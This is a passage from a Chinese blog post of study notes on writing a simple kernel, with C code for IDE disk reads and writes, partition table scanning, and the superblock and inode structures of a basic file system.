class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从硬盘读取sec_cnt个扇区到buf */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ide_read</span><span class="params">(struct disk* hd, <span class="keyword">uint32_t</span> lba, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> sec_cnt)</span> </span>&#123; </span><br><span class="line">   ASSERT(lba &lt;= max_lba);</span><br><span class="line">   ASSERT(sec_cnt &gt; <span class="number">0</span>);</span><br><span class="line">   lock_acquire (&amp;hd-&gt;my_channel-&gt;lock); <span class="comment">// 先上锁保证操作唯一</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 1 先选择操作的硬盘 */</span></span><br><span class="line">   select_disk(hd);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> secs_op; <span class="comment">// 每次操作的扇区数</span></span><br><span class="line">   <span class="keyword">uint32_t</span> secs_done = <span class="number">0</span>; <span class="comment">// 已完成的扇区数</span></span><br><span class="line">   <span class="keyword">while</span>(secs_done &lt; sec_cnt) &#123;</span><br><span class="line">      <span class="keyword">if</span> ((secs_done + <span class="number">256</span>) &lt;= sec_cnt) &#123;</span><br><span class="line"> secs_op = <span class="number">256</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> secs_op = sec_cnt - secs_done;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 2 写入待读入的扇区数和起始扇区号 */</span></span><br><span class="line">      select_sector(hd, lba + secs_done, secs_op);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 3 执行的命令写入reg_cmd寄存器 */</span></span><br><span class="line">      cmd_out(hd-&gt;my_channel, CMD_READ_SECTOR);  <span class="comment">// 准备开始读数据</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/*********************   阻塞自己的时机  ***********************</span></span><br><span class="line"><span class="comment">      在硬盘已经开始工作(开始在内部读数据或写数据)后才能阻塞自己,现在硬盘已经开始忙了,</span></span><br><span class="line"><span class="comment">      将自己阻塞,等待硬盘完成读操作后通过中断处理程序唤醒自己*/</span></span><br><span class="line">      sema_down(&amp;hd-&gt;my_channel-&gt;disk_done);</span><br><span class="line">   <span class="comment">/*************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 4 检测硬盘状态是否可读 */</span></span><br><span class="line">      <span class="comment">/* 醒来后开始执行下面代码*/</span></span><br><span class="line">      <span class="keyword">if</span> (!busy_wait(hd)) &#123; <span class="comment">// 若失败</span></span><br><span class="line"> <span class="keyword">char</span> error[<span class="number">64</span>];</span><br><span class="line"> <span class="built_in">sprintf</span>(error, <span class="string">"%s read sector %d failed!!!!!!\n"</span>, hd-&gt;name, lba);</span><br><span class="line"> PANIC(error);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 5 把数据从硬盘的缓冲区中读出 */</span></span><br><span class="line">      read_from_sector(hd, (<span class="keyword">void</span>*)((<span class="keyword">uint32_t</span>)buf + secs_done * <span class="number">512</span>), secs_op);</span><br><span class="line">      secs_done += secs_op;</span><br><span class="line">   &#125;</span><br><span class="line">   lock_release(&amp;hd-&gt;my_channel-&gt;lock);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将buf中sec_cnt扇区数据写入硬盘 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ide_write</span><span class="params">(struct disk* hd, <span class="keyword">uint32_t</span> lba, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> sec_cnt)</span> </span>&#123;</span><br><span class="line">   ASSERT(lba &lt;= max_lba);</span><br><span class="line">   ASSERT(sec_cnt &gt; <span class="number">0</span>);</span><br><span class="line">   lock_acquire (&amp;hd-&gt;my_channel-&gt;lock);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 1 先选择操作的硬盘 */</span></span><br><span class="line">   select_disk(hd);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> secs_op; <span class="comment">// 每次操作的扇区数</span></span><br><span class="line">   <span class="keyword">uint32_t</span> secs_done = <span class="number">0</span>; <span class="comment">// 已完成的扇区数</span></span><br><span class="line">   <span class="keyword">while</span>(secs_done &lt; sec_cnt) &#123;</span><br><span class="line">      <span class="keyword">if</span> ((secs_done + <span class="number">256</span>) &lt;= sec_cnt) &#123;</span><br><span class="line"> secs_op = <span class="number">256</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> secs_op = sec_cnt - secs_done;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 2 写入待写入的扇区数和起始扇区号 */</span></span><br><span class="line">      select_sector(hd, lba + secs_done, secs_op);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 3 执行的命令写入reg_cmd寄存器 */</span></span><br><span class="line">      cmd_out(hd-&gt;my_channel, CMD_WRITE_SECTOR);      <span class="comment">// 准备开始写数据</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 4 检测硬盘状态是否可读 */</span></span><br><span class="line">      <span class="keyword">if</span> (!busy_wait(hd)) &#123;      <span class="comment">// 若失败</span></span><br><span class="line"> <span class="keyword">char</span> error[<span class="number">64</span>];</span><br><span class="line"> <span class="built_in">sprintf</span>(error, <span class="string">"%s write sector %d failed!!!!!!\n"</span>, hd-&gt;name, lba);</span><br><span class="line"> PANIC(error);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 5 将数据写入硬盘 */</span></span><br><span class="line">      write2sector(hd, (<span class="keyword">void</span>*)((<span class="keyword">uint32_t</span>)buf + secs_done * <span class="number">512</span>), secs_op);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 在硬盘响应期间阻塞自己 */</span></span><br><span class="line">      sema_down(&amp;hd-&gt;my_channel-&gt;disk_done);</span><br><span class="line">      secs_done += secs_op;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="comment">/* 醒来后开始释放锁*/</span></span><br><span class="line">   lock_release(&amp;hd-&gt;my_channel-&gt;lock);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 硬盘中断处理程序 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">intr_hd_handler</span><span class="params">(<span class="keyword">uint8_t</span> irq_no)</span> </span>&#123;</span><br><span class="line">   ASSERT(irq_no == <span class="number">0x2e</span> || irq_no == <span class="number">0x2f</span>);</span><br><span class="line">   <span class="keyword">uint8_t</span> ch_no = irq_no - <span class="number">0x2e</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span>* <span class="title">channel</span> = &amp;<span class="title">channels</span>[<span class="title">ch_no</span>];</span></span><br><span class="line">   ASSERT(channel-&gt;irq_no == irq_no);</span><br><span class="line"><span class="comment">/* 不必担心此中断是否对应的是这一次的expecting_intr,</span></span><br><span class="line"><span class="comment"> * 每次读写硬盘时会申请锁,从而保证了同步一致性 */</span></span><br><span class="line">   <span class="keyword">if</span> (channel-&gt;expecting_intr) &#123;</span><br><span class="line">      channel-&gt;expecting_intr = <span class="literal">false</span>;</span><br><span class="line">      sema_up(&amp;channel-&gt;disk_done);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 读取状态寄存器使硬盘控制器认为此次的中断已被处理,从而硬盘可以继续执行新的读写 */</span></span><br><span class="line">      inb(reg_status(channel));</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="获取硬盘信息和扫描分区表"><a href="#获取硬盘信息和扫描分区表" class="headerlink" title="获取硬盘信息和扫描分区表"></a>获取硬盘信息和扫描分区表</h2><p>获取硬盘信息需要用到identify命令，其返回内容如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/85.png" alt="image-20200612181835991"></p><p>扫描分区表需要从MBR开始一步一步遍历主分区，找到扩展分区，然后递归每一个子扩展分区，找到逻辑分区，还是在ide文件中，下面是添加的数据结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 用于记录总扩展分区的起始lba,初始为0,partition_scan时以此为标记 */</span></span><br><span class="line"><span class="keyword">int32_t</span> ext_lba_base = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint8_t</span> p_no = <span class="number">0</span>, l_no = <span class="number">0</span>; <span class="comment">// 用来记录硬盘主分区和逻辑分区的下标</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list</span> <span class="title">partition_list</span>;</span> <span class="comment">// 分区队列</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 构建一个16字节大小的结构体,用来存分区表项 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">partition_table_entry</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  bootable; <span class="comment">// 是否可引导</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  start_head; <span class="comment">// 起始磁头号</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  start_sec; <span class="comment">// 起始扇区号</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  start_chs; <span class="comment">// 起始柱面号</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  fs_type; <span class="comment">// 分区类型</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  end_head; <span class="comment">// 结束磁头号</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  end_sec; <span class="comment">// 结束扇区号</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  end_chs; <span class="comment">// 结束柱面号</span></span><br><span class="line"><span class="comment">/* 更需要关注的是下面这两项 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> start_lba; <span class="comment">// 本分区起始扇区的lba地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_cnt; <span class="comment">// 本分区的扇区数目</span></span><br><span class="line">&#125; __attribute__ ((packed)); <span class="comment">// 保证此结构是16字节大小</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 引导扇区,mbr或ebr所在的扇区 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">boot_sector</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  other[<span class="number">446</span>]; <span class="comment">// 引导代码</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span>   <span class="title">partition_table_entry</span> <span class="title">partition_table</span>[4];</span>       <span class="comment">// 分区表中有4项,共64字节</span></span><br><span class="line">   <span class="keyword">uint16_t</span> signature; <span class="comment">// 启动扇区的结束标志是0x55,0xaa,</span></span><br><span class="line">&#125; __attribute__ ((packed));</span><br></pre></td></tr></table></figure><p>下面是获取硬盘参数的具体实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将dst中len个相邻字节交换位置后存入buf */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">swap_pairs_bytes</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* dst, <span class="keyword">char</span>* buf, <span class="keyword">uint32_t</span> len)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint8_t</span> idx;</span><br><span class="line">   <span class="keyword">for</span> (idx = <span class="number">0</span>; idx &lt; len; idx += <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="comment">/* buf中存储dst中两相邻元素交换位置后的字符串*/</span></span><br><span class="line">      buf[idx + <span class="number">1</span>] = *dst++;   </span><br><span class="line">      buf[idx]     = *dst++;   </span><br><span class="line">   &#125;</span><br><span class="line">   buf[idx] = <span class="string">'\0'</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 获得硬盘参数信息 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">identify_disk</span><span class="params">(struct disk* hd)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">char</span> id_info[<span class="number">512</span>];</span><br><span class="line">   select_disk(hd);</span><br><span class="line">   cmd_out(hd-&gt;my_channel, CMD_IDENTIFY);</span><br><span class="line"><span class="comment">/* 向硬盘发送指令后便通过信号量阻塞自己,</span></span><br><span class="line"><span class="comment"> * 待硬盘处理完成后,通过中断处理程序将自己唤醒 */</span></span><br><span class="line">   sema_down(&amp;hd-&gt;my_channel-&gt;disk_done);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 醒来后开始执行下面代码*/</span></span><br><span class="line">   <span class="keyword">if</span> (!busy_wait(hd)) &#123;     <span class="comment">//  若失败</span></span><br><span class="line">      <span class="keyword">char</span> error[<span class="number">64</span>];</span><br><span class="line">      <span class="built_in">sprintf</span>(error, <span class="string">"%s identify failed!!!!!!\n"</span>, hd-&gt;name);</span><br><span class="line">      PANIC(error);</span><br><span class="line">   &#125;</span><br><span class="line">   read_from_sector(hd, id_info, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">char</span> buf[<span class="number">64</span>];</span><br><span class="line">   <span class="keyword">uint8_t</span> sn_start = <span class="number">10</span> * <span class="number">2</span>, sn_len = <span class="number">20</span>, md_start = <span class="number">27</span> * <span class="number">2</span>, md_len = <span class="number">40</span>;</span><br><span class="line">   swap_pairs_bytes(&amp;id_info[sn_start], buf, sn_len);</span><br><span class="line">   printk(<span class="string">"   disk %s info:\n      SN: %s\n"</span>, hd-&gt;name, buf);</span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">   swap_pairs_bytes(&amp;id_info[md_start], buf, md_len);</span><br><span class="line">   printk(<span class="string">"      MODULE: %s\n"</span>, buf);</span><br><span class="line">   <span class="keyword">uint32_t</span> sectors = *(<span class="keyword">uint32_t</span>*)&amp;id_info[<span class="number">60</span> * <span class="number">2</span>];</span><br><span class="line">   printk(<span class="string">"      SECTORS: %d\n"</span>, sectors);</span><br><span class="line">   printk(<span class="string">"      CAPACITY: %dMB\n"</span>, sectors * <span class="number">512</span> / <span class="number">1024</span> / <span class="number">1024</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是扫描分区表的具体实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 扫描硬盘hd中地址为ext_lba的扇区中的所有分区 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">partition_scan</span><span class="params">(struct disk* hd, <span class="keyword">uint32_t</span> ext_lba)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">boot_sector</span>* <span class="title">bs</span> = <span class="title">sys_malloc</span>(<span class="title">sizeof</span>(<span class="title">struct</span> <span class="title">boot_sector</span>));</span> <span class="comment">// 动态申请内存存放，避免栈溢出</span></span><br><span class="line">   ide_read(hd, ext_lba, bs, <span class="number">1</span>);</span><br><span class="line">   <span class="keyword">uint8_t</span> part_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">partition_table_entry</span>* <span class="title">p</span> = <span class="title">bs</span>-&gt;<span class="title">partition_table</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 遍历分区表4个分区表项 */</span></span><br><span class="line">   <span class="keyword">while</span> (part_idx++ &lt; <span class="number">4</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (p-&gt;fs_type == <span class="number">0x5</span>) &#123; <span class="comment">// 若为扩展分区</span></span><br><span class="line"> <span class="keyword">if</span> (ext_lba_base != <span class="number">0</span>) &#123; </span><br><span class="line"> <span class="comment">/* 子扩展分区的start_lba是相对于主引导扇区中的总扩展分区地址 */</span></span><br><span class="line">    partition_scan(hd, p-&gt;start_lba + ext_lba_base);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123; <span class="comment">// ext_lba_base为0表示是第一次读取引导块,也就是主引导记录所在的扇区</span></span><br><span class="line"> <span class="comment">/* 记录下扩展分区的起始lba地址,后面所有的扩展分区地址都相对于此 */</span></span><br><span class="line">    ext_lba_base = p-&gt;start_lba;</span><br><span class="line">    partition_scan(hd, p-&gt;start_lba);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (p-&gt;fs_type != <span class="number">0</span>) &#123; <span class="comment">// 若是有效的分区类型</span></span><br><span class="line"> <span class="keyword">if</span> (ext_lba == <span class="number">0</span>) &#123; <span class="comment">// 此时全是主分区</span></span><br><span class="line">    hd-&gt;prim_parts[p_no].start_lba = ext_lba + p-&gt;start_lba;</span><br><span class="line">    hd-&gt;prim_parts[p_no].sec_cnt = p-&gt;sec_cnt;</span><br><span class="line">    hd-&gt;prim_parts[p_no].my_disk = hd;</span><br><span class="line">    list_append(&amp;partition_list, &amp;hd-&gt;prim_parts[p_no].part_tag);</span><br><span class="line">    <span class="built_in">sprintf</span>(hd-&gt;prim_parts[p_no].name, <span class="string">"%s%d"</span>, hd-&gt;name, p_no + <span class="number">1</span>);</span><br><span class="line">    p_no++;</span><br><span class="line">    ASSERT(p_no &lt; <span class="number">4</span>);    <span class="comment">// 0,1,2,3</span></span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    hd-&gt;logic_parts[l_no].start_lba = ext_lba + p-&gt;start_lba;</span><br><span class="line">    hd-&gt;logic_parts[l_no].sec_cnt = p-&gt;sec_cnt;</span><br><span class="line">    hd-&gt;logic_parts[l_no].my_disk = hd;</span><br><span class="line">    list_append(&amp;partition_list, &amp;hd-&gt;logic_parts[l_no].part_tag);</span><br><span class="line">    <span class="built_in">sprintf</span>(hd-&gt;logic_parts[l_no].name, <span class="string">"%s%d"</span>, hd-&gt;name, l_no + <span class="number">5</span>); <span class="comment">// 逻辑分区数字是从5开始,主分区是1～4.</span></span><br><span class="line">    l_no++;</span><br><span class="line">    <span class="keyword">if</span> (l_no &gt;= <span class="number">8</span>)    <span class="comment">// 只支持8个逻辑分区,避免数组越界</span></span><br><span class="line">       <span class="keyword">return</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; </span><br><span class="line">      p++;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(bs);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 打印分区信息 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">partition_info</span><span class="params">(struct list_elem* pelem, <span class="keyword">int</span> arg UNUSED)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">partition</span>* <span class="title">part</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">partition</span>, <span class="title">part_tag</span>, <span class="title">pelem</span>);</span></span><br><span class="line">   printk(<span class="string">"   %s start_lba:0x%x, sec_cnt:0x%x\n"</span>,part-&gt;name, part-&gt;start_lba, part-&gt;sec_cnt);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在此处return false与函数本身功能无关,</span></span><br><span class="line"><span class="comment"> * 只是为了让主调函数list_traversal继续向下遍历元素 */</span></span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/86.png" alt="86"></p><h1 id="文件系统"><a href="#文件系统" class="headerlink" title="文件系统"></a>文件系统</h1><h2 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h2><p>扇区：硬盘是低速设备，其读写单位是扇区。</p><p>块：Windows系统中称为簇，一个块由多个扇区组成，磁盘在进行读写数据的时候，不可能有一扇区的数据就读或写一次，而是等数据累计到一定量后，在统一进行读写，而这个数据量就叫块。</p><p>块是文件系统的读写单位，故文件起码得有一个块大小，若大于一个块，就需要我们用不同的文件系统对其进行管理，其中FAT采用的就是链式文件系统，如下所示，其弊端是每次寻找块的时候需要从头开始遍历，效率很低，这也是早期Windows采用的管理方法</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/87.png" alt="image-20200612181835991"></p><p>索引式文件系统是进入UNIX时代的产物，它为文件的所有块建立一个索引表，索引表就是块地址数组，每个数组元素就是块的地址，第n个数组元素指向文件中的第n个块，这样访问任意一个块的时候，只需要从索引表中获得块地址就可以了。而且文件中的块依然可以分散到不连续的零散空间中，索引表的索引结构称为inode，一个文件对应一个inode</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/88.png" alt="image-20200612181835991"></p><p>和页表机制类似，索引表本身占用内存，当其很大的时候就有一级间接索引表、二级间接索引表、三级间接索引表，结构如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/89.png" alt="image-20200612181835991"></p><p>接下来说说目录和目录项，目录本身也是通过inode表示，区分目录和文件的方法是通过查看inode中数据块，普通文件的inode的数据块是指向普通文件自己的数据的，目录的inode的数据块是指向位于该目录下的目录项的。在目录项中会记录该文件的类型，是属于普通文件，还是属于一个目录。目录项结构图如下，索引文件数据的步骤：</p><ol><li>首先通过文件名找到位于该目录项中对应的inode编号</li><li>然后通过通过这个inode编号在inode数组中找到该文件对应的inode</li><li>最后通过这个文件对应的inode找到该文件对应的数据。</li></ol><p><img src="/2020/06/11/简单内核实现笔记-part-4/90.png" alt="image-20200612181835991"></p><p>用于管理inode结构和记录的数据结构叫做超级块，超级块的位置和大小是固定的，它被固定存储在各个分区的第2个扇区中，通常占用1扇区的大小，可以类比PCB结构，结构图如下所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/91.png" alt="image-20200612181835991"></p><h2 id="创建文件系统"><a href="#创建文件系统" class="headerlink" title="创建文件系统"></a>创建文件系统</h2><p>接下来开始一步一步实现，文件系统部分的函数很多，不建议纠结一个函数的作用，要从整体上思考其作用何在，接下来我们开始创建上述的一些数据结构，下面是超级块结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 超级块 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">super_block</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> magic;         <span class="comment">// 用来标识文件系统类型,支持多文件系统的操作系统通过此标志来识别文件系统类型</span></span><br><span class="line">    <span class="keyword">uint32_t</span> sec_cnt;       <span class="comment">// 本分区总共的扇区数</span></span><br><span class="line">    <span class="keyword">uint32_t</span> inode_cnt;     <span class="comment">// 本分区中inode数量</span></span><br><span class="line">    <span class="keyword">uint32_t</span> part_lba_base; <span class="comment">// 本分区的起始lba地址</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> block_bitmap_lba;   <span class="comment">// 块位图本身起始扇区地址</span></span><br><span class="line">    <span class="keyword">uint32_t</span> block_bitmap_sects; <span class="comment">// 扇区位图本身占用的扇区数量</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> inode_bitmap_lba;   <span class="comment">// inode位图起始扇区lba地址</span></span><br><span class="line">    <span class="keyword">uint32_t</span> inode_bitmap_sects; <span class="comment">// inode位图占用的扇区数量</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> inode_table_lba;   <span class="comment">// inode表起始扇区lba地址</span></span><br><span class="line">    <span class="keyword">uint32_t</span> inode_table_sects; <span class="comment">// inode表占用的扇区数量</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> data_start_lba; <span class="comment">// 数据区开始的第一个扇区号</span></span><br><span class="line">    <span class="keyword">uint32_t</span> root_inode_no;  <span class="comment">// 根目录所在的I结点号</span></span><br><span class="line">    <span class="keyword">uint32_t</span> dir_entry_size; <span class="comment">// 目录项大小</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint8_t</span> pad[<span class="number">460</span>]; <span class="comment">// 加上460字节,凑够512字节1扇区大小</span></span><br><span class="line">&#125; __attribute__((packed));</span><br></pre></td></tr></table></figure><p>inode结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">inode</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> i_no;  <span class="comment">// inode编号</span></span><br><span class="line">    <span class="keyword">uint32_t</span> i_size; <span class="comment">// 此inode为文件时，表示文件的大小。为目录时，表示该目录下所有目录项大小之和 </span></span><br><span 